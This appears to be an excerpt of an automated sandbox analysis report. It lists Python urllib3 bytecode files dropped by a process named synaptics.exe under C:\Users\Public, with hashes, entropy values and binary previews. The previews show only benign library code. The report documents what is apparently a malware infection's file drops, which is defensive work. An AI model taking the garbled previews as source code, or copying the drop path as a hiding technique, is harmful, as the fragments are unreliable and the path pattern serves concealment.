Preview:	o.......=..f.&.......................@...s....d.d.l.m.Z...d.d.l.Z.d.d.l.Z.d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z.m.Z...d.d.l.m.Z...d.g.Z.e.j.e.j.e.j.e.e.j.e.e.f...f.....e.j.e.e.j.e.e.f...f...f...Z.G.d.d...d...Z.d.S.)......)...annotationsN)...urlencode.....)..._TYPE_BODY)...HTTPHeaderDict)..._TYPE_FIELDS..encode_multipart_formdata)...BaseHTTPResponse..RequestMethodsc....................@...sp...e.Z.d.Z.d.Z.h.d...Z.d%d&d.d...Z.........d'd(d.d...Z.........d)d*d.d...Z.....d+d,d!d"..Z.........d'd-d#d$..Z.d.S.).r....a..... Convenience mixin for classes who implement a :meth:`urlopen` method, such. as :class:`urllib3.HTTPConnectionPool` and. :class:`urllib3.PoolManager`... Provides behavior for making common types of HTTP request methods and. decides which type of request field encoding to use... Specifically,.. :meth:`.request_encode_url` is for sending requests whose fields are. encoded in the URL (such as GET, HEAD, DELETE)... :meth:`.request_encode_body`

C:\Users\Public\QExvbmVOb25l\lib\site-packages\urllib3\pycache\_version.cpython-310.pyc (copy)

Download File

Process:	C:\Users\Public\QExvbmVOb25l\synaptics.exe
File Type:	data
Category:	dropped
Size (bytes):	482
Entropy (8bit):	5.37584384201802
Encrypted:	false
SSDEEP:	6:y/CvlYN5ltyLSbBjz/8Ck4w3u5r3PyNAQ9AFtHzFAGhRvsx2c6m87lE/uaHxEM9U:CuKjR85Yr3auej47+tlHiZ8I4srEkJ
MD5:	0F4EE7ECC484C06D97F93383D8FA1241
SHA1:	F338255EA7522B82FEEA18F76E7D359CB7216FAF
SHA-256:	97EAF962ECCE5775E05C4A661D780EB6535AFDEE49735507E28ECBFDB50AA742
SHA-512:	28EDE540AEEBE279D471E7165E9A06F34936B93B5EB4D211FFC0512EB10EF6C537F0767A7345D086705CD5570E50C64C9D59881D858FC12BA092522290A68785
Malicious:	false
Reputation:	low
Preview:	o.......=..f.........................@...sh...U.d.Z.e.r.d.d.l.m.Z.m.Z...e.e.e.e.f...d.f...Z.n.e.Z.e.e.d.<.e.e.d.<.e.e.d.<.e.e.d.<.d...Z.Z.d...Z.Z.d.S.).F.....)...Tuple..Union...version..__version__..__version_tuple__..version_tuplez.2.2.3)......r.........N)...TYPE_CHECKING..typingr....r......int..strZ.VERSION_TUPLE..object..__annotations__r....r....r....r......r....r.....BC:\Users\Public\QExvbmVOb25l\lib\site-packages\urllib3\_version.py..<module>....s..........................

C:\Users\Public\QExvbmVOb25l\lib\site-packages\urllib3\pycache\connection.cpython-310.pyc (copy)

Download File

Process:	C:\Users\Public\QExvbmVOb25l\synaptics.exe
File Type:	data
Category:	dropped
Size (bytes):	24011
Entropy (8bit):	5.54051369732142
Encrypted:	false
SSDEEP:	384:j3oRv1iEkiRj91RsJ0YTnenrRaBVIT7sgTbzXugzTBDERk4VypKsFVc56AnzeuqG:j3obrjRsJ0YTG6I8gniiJqYpn6QesG
MD5:	8A0718FF18E2C0E8507FA134E55B1C01
SHA1:	76C0CC286E05890DD3455299CFC28673FFD84CC1
SHA-256:	0C5C94C7E236D06302614667CE77CCDCE3B3C3BAF35DE32940BA74A887445B98
SHA-512:	83CFC190D7C2246DD4B11074F25FB911034F2E15F2164A32F0F95872511AD6A1B21E13DCA69D38C55F7432B8538027720FD8E9C38BCA990C557114B7582C8C43
Malicious:	false
Reputation:	low
Preview:	o.......=..fT........................@...s....d.d.l.m.Z...d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z...e.j.r[d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z...d.d.l.m Z ..d.d.l!m"Z"m#Z#m$Z$..d.d.l%m&Z&..d.d.l'm(Z(..z.d.d.l)Z)e)jZ+W.n...e,e-f.y.......d.Z)G.d.d...d.e...Z+Y.n.w.d.d.l/m0Z0..d.d.l/m1Z1..d.d.l/m2Z2..d.d.l3m4Z4..d.d.l5m6Z6m7Z7m8Z8m9Z9m:Z:m;Z;..d.d.l<m=Z=m>Z>m?Z?m@Z@..d.d.lAmBZB..d.d.l.mCZD..d.d.l.mEZEmFZFmGZGmHZHmIZI..d.d.lJmKZKmLZL..d.d.lMmNZN..eOZOePZPe..QeR..ZSd.d.d ..ZTe..Ud!d"d...ZVe..Wd#..ZXeYe.d$..ZZG.d%d&..d&e...Z.G.d'd(..d(e...Z[G.d)d..d*e.j\..Z]d+d,..d_dFdG..Z^.+d`dadNdO..Z_dbdTdU..Z`dcdVdW..ZaG.dXdY..dY..Zbe)..s[ebZ[e[Zc..ddded]d^..Zdd.S.)f.....)...annotationsN)...HTTPConnection)...HTTPException)...ResponseNotReady....timeout.........HTTPResponse)..._TYPE_PEER_CERT_RET_DICT)...SSLTransport)...HTTPHeaderDict)...probe)...assert_header_parsing)..._DEFAULT_TIMEOUT.._TYPE_TIME

C:\Users\Public\QExvbmVOb25l\lib\site-packages\urllib3\pycache\connectionpool.cpython-310.pyc (copy)

Download File

Process:	C:\Users\Public\QExvbmVOb25l\synaptics.exe
File Type:	data
Category:	dropped
Size (bytes):	29199
Entropy (8bit):	5.44010337980193
Encrypted:	false
SSDEEP:	384:mi2lI3Jti2pYtq6fBiKrzYIpKneR4TliLX1XkFCDD2rz8vIkwjYHklf8HvpnykHN:VBQ22tqUBi9eOTlfavNyke9aR
MD5:	240B233FF73AD5F696A5DD22A1E8D155
SHA1:	AC0ED190C833700B9E8B8093C501C46D57AAF66C
SHA-256:	D2674F8EAAF8323FD1B9555CEA93E0B0575CE389DD70EA1C5D9F285525CEBA66
SHA-512:	A65697B7AACFF382A155997122F4F8AC329732AFCB62602EF2457B376CEAECB63E5350ACC50E7EB218F42ABA3D7E947E9CEB6A52F3838F608E8080F39788CE04
Malicious:	false
Reputation:	low
Preview:	o.......=..f.........................@...sV...d.d.l.m.Z...d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z.m.Z.m.Z.m.Z.m.Z.m.Z.m.Z.m.Z...d.d.l.m.Z...d.d.l.m.Z.m Z m!Z!m"Z"m#Z#m$Z$m%Z%m&Z&m'Z'm(Z(m)Z)mZm+Z+..d.d.l,m-Z-..d.d.l.m/Z/..d.d.l0m1Z1..d.d.l2m3Z3m4Z4..d.d.l5m6Z6..d.d.l7m8Z8..d.d.l9m:Z:m;Z;m<Z<..d.d.l=m>Z>m?Z?..d.d.l=m@ZA..d.d.l=mBZB..d.d.lCmDZD..e.jEr.d.d.lFZFd.d.lGmHZH..d.d.l.mIZImJZJ..e..KeL..ZMe.jNe<eOe;d.f...ZPG.d.d...d...ZQe.jRe.jSh.ZTG.d.d...d.eQe...ZUG.d.d...d.eU..ZVd6d$d%..ZWe.jXd7d*d+....Z@e.jXd8d,d+....Z@d9d-d+..Z@..d:d;d1d2..ZYd<d4d5..ZZd.S.)=.....)...annotationsN....timeout)...TracebackType.....)..._TYPE_BODY)...HTTPHeaderDict)...RequestMethods)...BaseSSLError..BrokenPipeError..DummyConnection..HTTPConnection..HTTPException..HTTPSConnection..ProxyConfig.._wrap_proxy_error)...port_by_scheme)...ClosedPoolError..EmptyPoolError..FullPoolError..HostChangedError..InsecureRequestWarning..Location

C:\Users\Public\QExvbmVOb25l\lib\site-packages\urllib3\pycache\exceptions.cpython-310.pyc (copy)

Download File

Process:	C:\Users\Public\QExvbmVOb25l\synaptics.exe
File Type:	data
Category:	dropped
Size (bytes):	13222
Entropy (8bit):	4.954704588952758
Encrypted:	false
SSDEEP:	384:sN0d2MCSNJR3aibXrLh86mCrEl7mRkUfLL2xEZiru/cc8fditjgsShRaE:sudfCSNJR3aibXrLh86frElCRvTCuUrj
MD5:	97A33353F94B11B0469AEB20051DA0AC
SHA1:	7EFF4501EF7E7F088B4CFEB5DDF1E7F95552A865
SHA-256:	335E7AE06A7225F5B43A309D80AC91DF384F385240A5F914E5860ABFF62A3831
SHA-512:	83456763FC7F49D92806CBB89DDA0931EA7EAFF3D002CB8AEFAD4171F564A744C4FF9634C900582798B1776A2C7D64B3AB3E895B831C14E96ADC4E3A7C73ADC6
Malicious:	false
Reputation:	low
Preview:	o.......=..f.$.......................@...s....d.d.l.m.Z...d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.m.Z...d.d.l.m.Z...e.j.r9d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z...G.d.d...d.e...Z.G.d.d...d.e...Z.e.j.e.j.d.e.f...e.j.e.d.f...f...Z.G.d.d...d.e...Z.G.d.d...d.e...Z.G.d.d...d.e...Z.G.d.d...d.e...Z.G.d.d...d.e...Z.G.d.d...d.e...Z e Z!G.d.d...d.e...Z"G.d.d...d.e...Z#G.d.d ..d e...Z$G.d!d"..d"e...Z%G.d#d$..d$e%e...Z&G.d%d&..d&e%..Z'G.d'd(..d(e'e...Z(G.d)d..de(..Z)G.d+d,..d,e...Z*G.d-d...d.e...Z+G.d/d0..d0e...Z,G.d1d2..d2e-e...Z.G.d3d4..d4e...Z/G.d5d6..d6e...Z0G.d7d8..d8e...Z1G.d9d:..d:e...Z2G.d;d<..d<e2..Z3G.d=d>..d>e2..Z4G.d?d@..d@e2..Z5G.dAdB..dBe2..Z6G.dCdD..dDe...Z7G.dEdF..dFe e-..Z8G.dGdH..dHe...Z9G.dIdJ..dJe.e...Z.G.dKdL..dLe.e...Z:G.dMdN..dNe...Z;G.dOdP..dPe<e0..Z=G.dQdR..dRe-..Z>G.dSdT..dTe...Z?G.dUdV..dVe...Z@d.S.)W.....)...annotationsN)...MessageDefect)...IncompleteRead.....)...HTTPConnection)...ConnectionPool)...HTTPResponse)...Retryc....................@........e.Z.d.Z.d.Z.d.S.)...HT

C:\Users\Public\QExvbmVOb25l\lib\site-packages\urllib3\pycache\fields.cpython-310.pyc (copy)

Download File

Process:	C:\Users\Public\QExvbmVOb25l\synaptics.exe
File Type:	data
Category:	dropped
Size (bytes):	9704
Entropy (8bit):	5.404908079884945
Encrypted:	false
SSDEEP:	192:toIkKH+iSdmq+qOqLpEzqkUS47qJKqtPAK/qPdqqBSqqP:tBkKH+iSIq+qOqLOzqA47qJKqtPAK/q+
MD5:	853CED57AE0047D732F85FD1B692B694
SHA1:	A2EF627D210A96608D4FC4D0BC45DFA043D6718C
SHA-256:	7A8020BE9878FCBE563CE7C7416AA9EB1F6C0E6E74350F28DA77EDE2FA2592E5
SHA-512:	D85C023D0EB65B1B6753A89045D74837ACE4E4610BE0E833AD29561D84B606BD710342A16023763CCC18ACD357F7740CE599BE59FBF780028AE0F5A062DE3274
Malicious:	false
Reputation:	low
Preview:	o.......=..f[*.......................@...s....d.d.l.m.Z...d.d.l.Z.d.d.l.Z.d.d.l.Z.e.j.e.e.f...Z.e.j.e.e.j.e.e.f...e.j.e.e.e.f...f...Z...d.d.d.d...Z.d.d.d...Z.d.d.d...Z.d.d.d...Z.d.d.d...Z.G.d.d...d...Z.d.S.)......)...annotationsN..application/octet-stream..filename..str \| None..default..str..returnc....................C...s....\|.r.t...\|...d...p.\|.S.\|.S.).z.. Guess the "Content-Type" of a file... :param filename:. The filename to guess the "Content-Type" of using :mod:`mimetypes`.. :param default:. If no "Content-Type" can be guessed, default to `default`.. r....)...mimetypes..guess_type).r....r......r.....@C:\Users\Public\QExvbmVOb25l\lib\site-packages\urllib3\fields.py..guess_content_type....s..........r......name..value.._TYPE_FIELD_VALUEc........................s....d.d.l.}.\|.j.d.t.d.d.....t...t...r.....d.....t...f.d.d...d.D.....s=\|...d.....d...}.z.\|...d.....W.\|.S...t.t.f.y<......Y.n.w.t.j.....d.....\|...d...........S.).a..... Helper function to format an

C:\Users\Public\QExvbmVOb25l\lib\site-packages\urllib3\pycache\filepost.cpython-310.pyc (copy)

Download File

Process:	C:\Users\Public\QExvbmVOb25l\synaptics.exe
File Type:	data
Category:	dropped
Size (bytes):	2334
Entropy (8bit):	5.59278465798021
Encrypted:	false
SSDEEP:	48:hL1hfLSsUyrfcuCKwlb9BEA2GS8FD5yHbVz:tLSsxc59TEA2CDUHbx
MD5:	BE080BCCBD62F8E499C5B555FFA63504
SHA1:	0FD9C24FA66E1D8814C47A3C914B8AEA7EC11545
SHA-256:	406E930151BD12C4997D43EA96BAA69A8905BE5923A681E571A3471B544565B3
SHA-512:	116E07FEFB463B7D562F310AC7C7364E0EC1F4AA88169BDE9C88F71AD9DEB912EE8268B5834609314F81E250006FED747CE34AF9774DD3DA1B319806A9DD79B2
Malicious:	false
Reputation:	low
Preview:	o.......=..f[........................@...s....d.d.l.m.Z...d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.m.Z...d.d.l.m.Z.m.Z...e...d...d...Z.e.j.e.j.e.j.e.e.f...e.f.....Z.e.j.e.e.j.e.e.f...f...Z.d.d.d...Z.d.d.d...Z...d.d.d.d...Z.d.S.)......)...annotationsN)...BytesIO.....)..._TYPE_FIELD_VALUE_TUPLE..RequestFieldz.utf-8.......return..strc....................C...s....t...t...d.........S.).zN. Our embarrassingly-simple replacement for mimetools.choose_boundary.. .....)...binascii..hexlify..os..urandom..decode..r....r.....BC:\Users\Public\QExvbmVOb25l\lib\site-packages\urllib3\filepost.py..choose_boundary....s......r......fields.._TYPE_FIELDS..typing.Iterable[RequestField]c....................c...sH.....t.\|.t.j...r.\|.....}.n.\|.}.\|.D.].}.t.\|.t...r.\|.V...q.t.j.\|...V...q.d.S.).z.. Iterate over fields... Supports list of (k, v) tuples and dicts, and lists of. :class:`~urllib3.fields.RequestField`... N)...isinstance..typing..Mapping..itemsr....Z.from_tuples).r......iterable..fieldr....

C:\Users\Public\QExvbmVOb25l\lib\site-packages\urllib3\pycache\poolmanager.cpython-310.pyc (copy)

Download File

Process:	C:\Users\Public\QExvbmVOb25l\synaptics.exe
File Type:	data
Category:	dropped
Size (bytes):	18190
Entropy (8bit):	5.490889587300124
Encrypted:	false
SSDEEP:	384:+rlCIl5+QQvw7bm2+Pp0hTZp4tGwi5k43Y:OvgQQvwng+NZp8Of3Y
MD5:	83499E28BC4CFD4B3D5210319D28C29D
SHA1:	C4B71BC76441EFC96AB857F4E1B87BB1FD6EA807
SHA-256:	A04D1FC6A90A6ADD48C70DA96C593D2A577DE1B530AF1F473299A1E5231B0F05
SHA-512:	88330FE80D72A9E0424FF156F68653BA744ED5A360D6F2FACC7329FE1F3A0615EA3B51D3BDE10824661DE3D2BDA79A37F1AA68E33A2C25920BC86B90E37044DF
Malicious:	false
Reputation:	low
Preview:	o.......=..f.Y.......................@...s....d.d.l.m.Z...d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z.m.Z...d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z.m.Z.m.Z...d.d.l.m.Z.m.Z.m.Z.m.Z...d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z...d.d.l m!Z!..d.d.l"m#Z#..d.d.l$m%Z%m&Z&..e.j'r.d.d.l(Z(d.d.l)mZ..g.d...Z+e..,e-..Z.d.Z/d.Z0G.d.d...d.e.j1..Z2d)d.d...Z3e..4e3e2..e..4e3e2..d...Z5e.e.d...Z6G.d.d ..d e...Z7G.d!d"..d"e7..Z8d*d'd(..Z9d.S.)+.....)...annotationsN)...TracebackType)...urljoin.....)...HTTPHeaderDict..RecentlyUsedContainer)...RequestMethods)...ProxyConfig)...HTTPConnectionPool..HTTPSConnectionPool..port_by_scheme)...LocationValueError..MaxRetryError..ProxySchemeUnknown..URLSchemeUnknown)...BaseHTTPResponse)..._TYPE_SOCKET_OPTIONS)...connection_requires_http_tunnel)...Retry)...Timeout)...Url..parse_url)...Self)...PoolManager..ProxyManager..proxy_from_url)...key_file..cert_file..cert_reqs..ca_certs..ca_cert_data..ssl_version..ssl_minimum_version..ssl_maximum_version..ca_cert_dir..ss

C:\Users\Public\QExvbmVOb25l\lib\site-packages\urllib3\pycache\response.cpython-310.pyc (copy)

Download File

Process:	C:\Users\Public\QExvbmVOb25l\synaptics.exe
File Type:	data
Category:	dropped
Size (bytes):	33452
Entropy (8bit):	5.33455604589284
Encrypted:	false
SSDEEP:	384:OcBkshRIwAG560Mg+c3lKBgtd1xaZ38CSYJr/YV4CypM0AmwK2Kd1B+E1dz6RPrX:+Gc8L1KBaPxbupCIAHK2KZiy8wUhX
MD5:	0F61905A54FC16F50C6D0195DA1EBCE4
SHA1:	A11EC9E16128D66F6EFE26749877EB50CD2C744A
SHA-256:	5FD56509283133DF63DD7AE269A1E54B9D721552A4B687E941146A006524CD0A
SHA-512:	FAD1E49841F441CD51202018B9B239155D3B9E5BD225F9C71FC78A29CA25775770CD8E2813B450AFC3B79858B10B0E1CF26D97A957978A25535E3AF4D1C97644
Malicious:	false
Reputation:	low
Preview:	o.......=..f.........................@...s....d.d.l.m.Z...d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z...e.j.rKd.d.l.m.Z...z.z.d.d.l.Z.W.n...e.y_......d.d.l.Z.Y.n.w.W.n...e.yl......d.Z.Y.n.w.z.d.d.l.Z.W.n...e.e.e.f.y.......d.Z Y.n.w.e!e"e#e..$d.e.j%...&......Z'e'd.k.r.d.Z n.d.Z d.d.l(m)Z)..d.d.l.mZ..d.d.l+m,Z,..d.d.l-m.Z.m/Z/m0Z0..d.d.l1m2Z2m3Z3m4Z4m5Z5m6Z6m7Z7m8Z8m9Z9m:Z:m;Z;..d.d.l<m=Z=m>Z>..d.d.l?m@Z@..e.j.r.d.d.lAmBZB..e..CeD..ZEG.d.d...d...ZFG.d.d...d.eF..ZGG.d.d...d...ZHG.d.d...d.eF..ZIe.d.u...r.G.d.d...d.eF..ZJe ..r.G.d.d ..d eF..ZKG.d!d"..d"eF..ZLd.d&d'..ZMG.d(d)..d)..ZNG.d*d+..d+e.jO..ZPG.d,d-..d-eP..Z.d.S.)/.....)...annotationsN)...contextmanager)...HTTPMessage)...HTTPResponse)...timeout.....)...BaseHTTPConnectionFz.^([0-9]+)\.([0-9]+)).r.........T)...util)..._TYPE_BODY)...HTTPHeaderDict)...BaseSSLError..HTTPConnection..HTTPException)...BodyNotHttplibCompatible..DecodeError..HTTPError..IncompleteRead..

C:\Users\Public\QExvbmVOb25l\lib\site-packages\urllib3\contrib\pycache\init.cpython-310.pyc (copy)

Download File

Process:	C:\Users\Public\QExvbmVOb25l\synaptics.exe
File Type:	data
Category:	dropped
Size (bytes):	167
Entropy (8bit):	4.589436179731363
Encrypted:	false
SSDEEP:	3:y/C8llGllluleh/wZWevouWAuaHF50YTlHX0M9VWrzOXH+IOkcTgp:y/C8lcl/qeh/wjo+uaHxEM9Ar6XeR4
MD5:	90F1B09BA05E86AEBE9D63BC0AFAB6FB
SHA1:	94C96FF5AC94893757E25944E7BB9BA9389827E9
SHA-256:	FE1F38A3B984211662EA49979A2AC2E5AD23E4C0D7CD18EE282CE1DEE087D70D
SHA-512:	7BAA211F4051C912CCAD0C9658D03739308EE9D5E62F8A06DCC6BFFC346168D0F5A597E0BD9E545FA6A736AF51E0A844F00DF13D489B02F52887F67A48E87320
Malicious:	false
Reputation:	low
Preview:	o.......=..f.........................@...s....d.S.).N..r....r....r.....JC:\Users\Public\QExvbmVOb25l\lib\site-packages\urllib3\contrib\__init__.py..<module>....s......

C:\Users\Public\QExvbmVOb25l\lib\site-packages\urllib3\contrib\pycache\socks.cpython-310.pyc (copy)

Download File

Process:	C:\Users\Public\QExvbmVOb25l\synaptics.exe
File Type:	data
Category:	dropped
Size (bytes):	6128
Entropy (8bit):	5.6368976617629984
Encrypted:	false
SSDEEP:	96:7q8bFojUEqiHSz8XKWZMs7hTbWiTmC69iE245Zi81JQ3:W6VEqt3GbC9ipca3
MD5:	4646FAC81063E984B3293DC09325C233
SHA1:	2789125CE874D5A1B985641F3E3B7706AE70928D
SHA-256:	8FE7CB3D7C99E0B1AB573633646AEF632C5FA603A1F5A7DBB4496D6909AA7F2A
SHA-512:	53C10552C15C3BBB33235016E1CD5DBE10E43B710754F99C693112685E4B7811F793CCF094A0680B98090635853BAD5B2E98EB84FB5890547CC65AC95723D78C
Malicious:	false
Reputation:	low
Preview:	o.......=..f}........................@...s6...d.Z.d.d.l.m.Z...z.d.d.l.Z.W.n...e.y&......d.d.l.Z.d.d.l.m.Z...e...d.e.......w.d.d.l.Z.d.d.l.m.Z...d.d.l.m.Z.m.Z...d.d.l.m.Z.m.Z...d.d.l.m.Z.m.Z...d.d.l.m.Z...d.d.l.m.Z...z.d.d.l.Z.W.n...e.yf......d.Z.Y.n.w.G.d.d...d.e.j...Z.G.d.d...d.e...Z.G.d.d...d.e.e...Z.G.d.d...d.e...Z.G.d.d...d.e...Z.G.d.d...d.e...Z d.S.).a.....This module contains provisional support for SOCKS proxies from within.urllib3. This module supports SOCKS4, SOCKS4A (an extension of SOCKS4), and.SOCKS5. To enable its functionality, either install PySocks or install this.module with the ``socks`` extra...The SOCKS implementation supports the full range of urllib3 features. It also.supports the following SOCKS features:..- SOCKS4A (``proxy_url='socks4a://...``).- SOCKS4 (``proxy_url='socks4://...``).- SOCKS5 with remote DNS (``proxy_url='socks5h://...``).- SOCKS5 with local DNS (``proxy_url='socks5://...``).- Usernames and passwords for the SOCKS proxy.... note::. It is recom

C:\Users\Public\QExvbmVOb25l\lib\site-packages\urllib3\http2\pycache\init.cpython-310.pyc (copy)

Download File

Process:	C:\Users\Public\QExvbmVOb25l\synaptics.exe
File Type:	data
Category:	dropped
Size (bytes):	1404
Entropy (8bit):	5.389733870241377
Encrypted:	false
SSDEEP:	24:LMu6QKYYYH7N9QU4DMU3KZsGfM3yRiR7FXpHW92vbwFWHrb49msQWP7:ABdYLbX4DinRaXRD9Hrb4mAP7
MD5:	1590C80DBE3C9FE424FADF48BC409946
SHA1:	97E3E3E9B23D6B5EF05FF0941B19F8A3D8DE50E4
SHA-256:	FB17FA6AC53BB4BC33C9B03B3F0650DBA4441C1CE3C42DBDDA31A5E61FB47DB7
SHA-512:	55CA40A78BCED9B8AC10B8AE092FA3A09E321349A0FA87AE7BFFA9E47986F0C29801FA6A5067CDF717F6EF56232BE6150265E43166F5BECFBB1B3C75C2CC51F3
Malicious:	false
Reputation:	low
Preview:	o.......=..f.........................@...sN...U.d.d.l.m.Z...d.d.l.m.Z...d.d.g.Z.d.d.l.Z.d.a.d.e.d.<.d.d.d...Z.d.d.d...Z.d.S.)......)...annotations)...version..inject_into_urllib3..extract_from_urllib3Nz.typing.Any..orig_HTTPSConnection..return..Nonec....................C...s....t.d...}.\|...d...s.t.d.\|...d.......d.d.l.m.}...d.d.l.m.}...d.d.l.m.}...d.d.l.m.}...d.d.l.m.}...\|.j.a.\|.\|._.\|.\|._.d.g.\|._.d.g.\|._.d.S.).N..h2z.4.zQurllib3 v2 supports h2 version 4.x.x, currently the 'h2' module is compiled with z5. See: https://github.com/urllib3/urllib3/issues/3290.........connection....util....HTTPSConnectionPool....ssl_.....)...HTTP2Connection).r......startswith..ImportError..r....r......connectionpoolr....r....r......HTTPSConnectionr......ConnectionCls..ALPN_PROTOCOLS).Z.h2_version..urllib3_connection..urllib3_utilr......urllib3_util_sslr......r.....HC:\Users\Public\QExvbmVOb25l\lib\site-packages\urllib3\http2\__init__.pyr........s".....................................c....................C...

C:\Users\Public\QExvbmVOb25l\lib\site-packages\urllib3\http2\pycache\probe.cpython-310.pyc (copy)

Download File

Process:	C:\Users\Public\QExvbmVOb25l\synaptics.exe
File Type:	data
Category:	dropped
Size (bytes):	2538
Entropy (8bit):	5.259623122633178
Encrypted:	false
SSDEEP:	48:kPQG3rPiqRTB08DGmDZrZCYawGQ2bcwf27jpWsI663cv6iuJh6+:kzZ/DGmDZEYaw4bbujpXkSNok+
MD5:	D2254B6CEBDA8DF150D456B4742724C6
SHA1:	00093CC93F7087A44FDC68C6DBC23C742D1132CA
SHA-256:	FF7532641CF5FF3491AADCC77C3E11F2662411B9210EBE209CF54218A1A9A013
SHA-512:	4B9E4858A0033E3BF331E18E496AFA7C03EB64E207F954555A8471541FC1F470A7A993C7BF64729F436710FE1DFB3AEE4E0F0A30B852D507CACA74FEE5448004
Malicious:	false
Reputation:	low
Preview:	o.......=..f.........................@...sL...d.d.l.m.Z...d.d.l.Z.G.d.d...d...Z.e...Z.e.j.Z.e.j.Z.e.j.Z.e.j.Z.d.d.g.Z.d.S.)......)...annotationsNc....................@...sB...e.Z.d.Z.d.Z.d.d.d...Z.d.d.d...Z.d.d.d...Z.d.d.d...Z.d.d.d...Z.d.S.)..._HTTP2ProbeCache...._lock.._cache_locks.._cache_values..return..Nonec....................C...s....t.....\|._.i.\|._.i.\|._.d.S...N)...threading..Lockr....r....r........self..r.....EC:\Users\Public\QExvbmVOb25l\lib\site-packages\urllib3\http2\probe.py..__init__....s..........z._HTTP2ProbeCache.__init__..host..str..port..int..bool \| Nonec....................C...s....d.}.\|.j..7..\|.\|.f.}.z.\|.j.\|...}.\|.d.u.r.\|.W.W...d.........S.W.n...t.y4......t.....\|.j.\|.<.d.\|.j.\|.<.Y.n.w.W.d.........n.1.s?w.......Y...\|.j.\|...}.\|.......z.\|.j.\|...}.W.\|.S...t.ym..}...z.t.\|.t...rdJ...\|.........d.}.~.w.w.r....).r....r......KeyErrorr......RLockr......acquire..BaseException..isinstance..release).r....r....r......value..key..key_lock..er....r....r......acquire_and_get....s4..

C:\Users\Public\QExvbmVOb25l\lib\site-packages\urllib3\util\pycache\init.cpython-310.pyc (copy)

Download File

Process:	C:\Users\Public\QExvbmVOb25l\synaptics.exe
File Type:	data
Category:	dropped
Size (bytes):	947
Entropy (8bit):	5.338528519953842
Encrypted:	false
SSDEEP:	24:cIJUVegJzYoyYhRYQZyihmLptrv2buqq9PXVHL:H3gJz2Y39Zyi0TrOaqq9PN
MD5:	424358AB51D1BC6E18F57E16A2F1771A
SHA1:	58CC71A09FC9FDE3FE0A25D5066D6657DCB08F33
SHA-256:	62AB69EEC845AB6A84A1D61805025FB0482B0D9E99D6CE07240DBD4725013025
SHA-512:	B6DAA22E27C43B2D3BC49F16B22A817FD19F0B6F3D4EEE99A99D8ADB65FD40491100C08A5BB6BAFBBC248EBA89B4F58B983B06C103E0AD36FFF62CE19072A343
Malicious:	false
Reputation:	low
Preview:	o.......=..f.........................@...s....d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z.m.Z.m.Z...d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z.m.Z.m.Z.m.Z.m.Z.m.Z.m.Z.m.Z...d.d.l.m.Z...d.d.l.m.Z.m.Z...d.d.l.m.Z.m.Z...d.Z.d.S.)......)...annotations.....)...is_connection_dropped)...SKIP_HEADER..SKIPPABLE_HEADERS..make_headers)...is_fp_closed)...Retry)...ALPN_PROTOCOLS..IS_PYOPENSSL..SSLContext..assert_fingerprint..create_urllib3_context..resolve_cert_reqs..resolve_ssl_version..ssl_wrap_socket)...Timeout)...Url..parse_url)...wait_for_read..wait_for_write).r....r....r....r....r....r....r....r....r....r....r....r....r....r....r....r....r....r....r....N)...__future__r......connectionr......requestr....r....r......responser......retryr....Z.ssl_r....r....r....r....r....r....r....r......timeoutr......urlr....r......waitr....r......__all__..r ...r ....GC:\Users\Public\QExvbmVOb25l\lib\site-packages\urllib3\util\__init__.py..<module>....s..............(.........

C:\Users\Public\QExvbmVOb25l\lib\site-packages\urllib3\util\pycache\connection.cpython-310.pyc (copy)

Download File

Process:	C:\Users\Public\QExvbmVOb25l\synaptics.exe
File Type:	data
Category:	dropped
Size (bytes):	3466
Entropy (8bit):	5.548630731870598
Encrypted:	false
SSDEEP:	48:5d8QkXnGs+RA+j7JArpwwSRGR7UAm0DEWStUV5yrIeoYPqr+rb8WTUVHwZJP9+:nkX3+m+hAVwwStdndm5YXiub8WT3ZJI
MD5:	B4695B158EC6266D4D8390E989B805FC
SHA1:	142F5D17F6742CCDFAE79B719509BF3D500BF061
SHA-256:	3F154DDBF869119C1608BF4FFCF3CAE264985FF52257809F5912738D474531A5
SHA-512:	B231A5E81286F246F49447AB40E507D2001899D3A8BC22C3365ACB2C631E0B4F9F0A092909C7F3D52A168067296763148515738643A8E15E6D75AE56C398C1B4
Malicious:	false
Reputation:	low
Preview:	o.......=..fj........................@...s....d.d.l.m.Z...d.d.l.Z.d.d.l.Z.d.d.l.m.Z...d.d.l.m.Z.m.Z...e.j.e.j.e.e.e.j.e.e.f...f.....Z.e.j.r5d.d.l.m.Z...d&d.d...Z.e.d.d.f.d'd.d...Z.d(d.d...Z.d)d.d ..Z.dd#d$..Z.e.d%..Z.d.S.)+.....)...annotationsN.....)...LocationParseError.....)..._DEFAULT_TIMEOUT.._TYPE_TIMEOUT)...BaseHTTPConnection..connr......return..boolc....................C...s....\|.j...S.).z.. Returns True if the connection is dropped and should be closed.. :param conn: :class:`urllib3.connection.HTTPConnection` object.. )...is_connected).r......r.....IC:\Users\Public\QExvbmVOb25l\lib\site-packages\urllib3\util\connection.py..is_connection_dropped....s......r......address..tuple[str, int]..timeoutr......source_address..tuple[str, int] \| None..socket_options.._TYPE_SOCKET_OPTIONS \| 